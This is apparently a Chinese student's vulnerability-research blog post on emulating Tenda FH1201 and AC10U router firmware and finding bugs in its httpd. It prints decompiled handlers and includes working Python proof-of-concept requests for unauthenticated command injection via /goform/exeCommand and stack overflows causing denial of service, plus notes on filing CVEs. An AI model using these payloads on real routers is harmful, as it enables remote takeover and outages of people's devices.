tenda-FH1201-cve

一个老固件了😢

FH1201

FH1201 Firmware_Tenda

固件解包需要下载 sasquatch

1
2
$ git clone https://github.com/devttys0/sasquatch --depth=1
$ CC=gcc-9 ./build.sh

32位 mips 小端序

1
2
$ file bin/busybox
bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

网卡

1
2
3
4
$ sudo brctl addbr br0 
$ sudo brctl addif br0 eth0
$ sudo ifconfig br0 up
$ sudo dhclient br0

只需要模拟 httpd

1
2
$ cp $(which qemu-mipsel-static) . 
$ sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

需要patch一部分

1
$ ~/idapro-9.0/ida64 bin/httpd

patch main函数的check_network函数。

1
2
3
4
5
6
7
8
9
10
11
12
loc_489228:
addiu $v0, $fp, 0xE0+var_34
move $a0, $v0
la $t9, check_network
nop
li $v0, 1 # Keypatch modified this from:
# jalr $t9 # check_network
nop # Keypatch modified this from:
# nop
lw $gp, 0xE0+var_D0($fp)
bgtz $v0, loc_48926C
nop

goahead webserver框架,查看路由

1
websFormDefine("exeCommand", formexeCommand);

漏洞代码:可以看出来cmd没做检查,最后直接有个 else 也就是可以执行任意命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
FILE *__fastcall formexeCommand(int a1)
{
size_t v1; // $v0
FILE *result; // $v0
int v3; // [sp+18h] [+18h]
size_t n; // [sp+1Ch] [+1Ch]
char *src; // [sp+20h] [+20h]
FILE *stream; // [sp+24h] [+24h]
char v7[512]; // [sp+28h] [+28h] BYREF
char v8[256]; // [sp+228h] [+228h] BYREF
char v9[4096]; // [sp+328h] [+328h] BYREF
char v10[4096]; // [sp+1328h] [+1328h] BYREF

memset(v7, 0, sizeof(v7));
memset(v8, 0, sizeof(v8));
memset(v9, 0, sizeof(v9));
memset(v10, 0, sizeof(v10));
v3 = 0;
src = (char *)websGetVar(a1, "cmdinput", &unk_4AFDC0);
strcpy(v7, src);
myCmd(v8, v7);
if ( !strcmp(v8, "cd") )
{
v1 = strlen(path_buf);
myPath(path_buf, v7, v1);
doSystemCmd("echo %s > /tmp/cmdTmp.txt", path_buf);
}
else if ( !strcmp(v8, "ls") || !strcmp(v8, "cat") )
{
myLsCat(v7);
doSystemCmd("%s > /tmp/cmdTmp.txt", v7);
}
else if ( !strcmp(v8, "echo") )
{
myEcho(v7);
doSystemCmd("%s", v7);
}
else if ( !strcmp(v8, "pwd") )
{
doSystemCmd("echo %s > /tmp/cmdTmp.txt", path_buf);
}
else if ( !strcmp(v8, "ping") )
{
doSystemCmd("%s -c 3 > /tmp/cmdTmp.txt", v7);
}
else
{
doSystemCmd("%s > /tmp/cmdTmp.txt", v7);
}
result = fopen("/tmp/cmdTmp.txt", "r");
stream = result;
if ( result )
{
while ( 1 )
{
memset(v10, 0, sizeof(v10));
if ( !fgets(v10, 4096, stream) )
break;
n = strlen(v10);
if ( v3 + n + 1 >= 0x1001 )
break;
memcpy(&v9[v3], v10, n);
v3 += n;
}
fclose(stream);
websWrite(
a1,
"HTTP/1.0 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
websWrite(a1, "%s", v9);
return (FILE *)websDone(a1, 200);
}
return result;
}

PoC

1
2
3
4
5
6
7
8
9
import requests

ip = '192.168.85.143'

url = f"http://{ip}/goform/exeCommand"


data = "cmdinput=ls;"
ret = requests.post(url=url,data=data)

可以成功命令执行

在复现一下其余的:fromDhcpListClient 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall fromDhcpListClient(int a1)
{
int v1; // $v0
int i; // [sp+18h] [+18h]
const char *Var; // [sp+1Ch] [+1Ch]
char *nptr; // [sp+20h] [+20h]
int v6; // [sp+24h] [+24h]
char v7[256]; // [sp+28h] [+28h] BYREF
char v8[256]; // [sp+128h] [+128h] BYREF
char v9[320]; // [sp+228h] [+228h] BYREF
_DWORD v10[4]; // [sp+368h] [+368h] BYREF

memset(v9, 0, 0x40u);
nptr = (char *)websGetVar(a1, "LISTLEN", "0");
Var = (const char *)websGetVar(a1, "page", "1");
v9[64] = 0;
for ( i = 1; ; ++i )
{
v1 = atoi(nptr);
if ( v1 + 1 < i )
break;
memset(v10, 0, sizeof(v10));
sprintf((char *)v10, "%s%d", "list", i);
v6 = websGetVar(a1, v10, &unk_4AEC38);
strcpy(v8, (const char *)(v6 + 1)); // buffer overflow [1]
v8[strlen(v8) - 1] = 0;
sprintf(v9, "dhcps.Staticip%d", i);
SetValue(v9, v8);
}
SetValue("dhcps.Staticnum", nptr);
sprintf(v7, "lan_dhcp_static.asp?page=%s", Var); // buffer overflow [2]
if ( CommitCfm() )
LoadDhcpService();
return websRedirect(a1, v7);
}

针对 [1]

1
2
3
4
5
6
7
8
9
import requests

ip = "192.168.85.143"
url = "http://" + ip + "/goform/DhcpListClient"
payload = "a" * 0x1000

data = {"LISTLEN":1,"page":1,"list1": payload}
response = requests.post(url, data=data)
print(response.text)

针对 [2]

1
2
3
4
5
6
7
8
9
import requests

IP = "192.168.85.143"
url = f"http://{IP}/goform/fromDhcpListClient?"
url += "page=" + "a" * 0x1000
url += "&LISTLEN=0"

response = requests.get(url)
print(response.text)

漏洞利用

  • MIPS ROP?
  • rwx shellcode

漏洞挖掘

查看tenda httpd相关漏洞,栈溢出

  • 命令注入
  • strcpy
  • sprintf
  • strcat

用插件:VulFi: IDA Pro plugin,寻找到一个 formWrlExtraGet,没有人申请?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall formWrlExtraGet(int a1)
{
// ...
chkHz = (char *)websGetVar(a1, "chkHz", "0"); // get from parameter
Var = (char *)websGetVar(a1, "extra_mode", 0);
if ( !strcmp(chkHz, "0") )
{
get_wl_cfg_info(24, 0, 0, v62, 0);
}
else if ( !strcmp(chkHz, "1") )
{
get_wl_cfg_info(5, 0, 0, v62, 0);
}
sprintf(v63, "%s%s", v62, "wisp.");
sprintf(v64, "%s%s", v62, "client.");
if ( !Var )
{
v1 = sub_4716B0(v62, "wds.bdg.limit", v66);
GetValue(v1, v33);
v2 = sub_4716B0(v62, "workmode", v66);
GetValue(v2, v59);
if ( !strcmp(v59, "sta") )
{
Var = "wisp";
}
else if ( !strcmp(v59, "wet") )
{
Var = "apclient";
}
else if ( !strcmp((const char *)v33, "1") )
{
Var = "wds";
}
else
{
Var = "ap";
}
}
strcat(v60, chkHz); // BUG: not check size lead to bufffer overflow
strcat(v60, "\r");
// ...
}

PoC 导致DoS

1
2
3
4
5
6
7
8
9
10
11
import requests

ip = "192.168.85.143"
url = "http://" + ip + "/goform/WrlExtraGet"

data = {
"chkHz": "a" * 0x4000
}

response = requests.post(url, data=data)
print(response.text)

AC10U v1.0

CVE-2024-2708

1
A vulnerability was found in Tenda AC10U 15.03.06.49 and classified as critical. This issue affects the function formexeCommand of the file /goform/execCommand. The manipulation of the argument cmdinput leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-257459. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

下载固件,测试。AC10U v1.0 Firmware

依然是MIPS LSB,patch 3处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 1
lw $gp, 0x138+var_120($fp)
la $v0, apmib_init
move $t9, $v0
li $v0, 1 # Keypatch modified this from:
# jalr $t9 # apmib_init
nop # Keypatch modified this from:
# nop

// 2
addiu $v0, $fp, 0x138+ipbuf
move $a0, $v0
la $v0, check_network
move $t9, $v0
li $v0, 1 # Keypatch modified this from:
# jalr $t9 # check_network
nop

// 3
la $v0, sleep
move $t9, $v0
jalr $t9 # sleep
nop
lw $gp, 0x138+var_120($fp)
la $v0, ConnectCfm
move $t9, $v0
li $v0, 1 # Keypatch modified this from:
# jalr $t9 # ConnectCfm
nop # Keypatch modified this from:
# nop

测试溢出

1
2
3
4
5
6
7
import requests

ip = "192.168.84.101"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookie":"cmdinput=" + "A"*1000}
ret = requests.get(url=url,cookies=cookie)
print(ret.text)

复现时?看了一眼,没注册路由???

1
2
3
<html><head><title>Document Error: Data follows</title></head>
<body><h2>Access Error: Data follows</h2>
<p>Form exeCommand is not defined</p></body></html>

CVE申请

这些产品 unsupported,因此公布没什么问题, 直接向CVE网站报告就行

  • 这里需要注意,正在卖钱的产品最好还是向官方报告。

参考这篇文章就行:水一篇文章:如何水一个 CVE

申请了两个CVE(等待了两个星期)

  • CVE-2024-44858
  • CVE-2024-44859

以后多看看新出的CVE,看看能不能捡漏😋

刷CVE找很久没更新的并且有点年代感的固件,狠狠的刷🥵

  • httpd
  • cgi
  • WEB 服务

并且做IoT还是得需要硬件支持,否则测试蛮难受的。焊板子挺有趣,但是我只是个穷学生😭,还是用qemu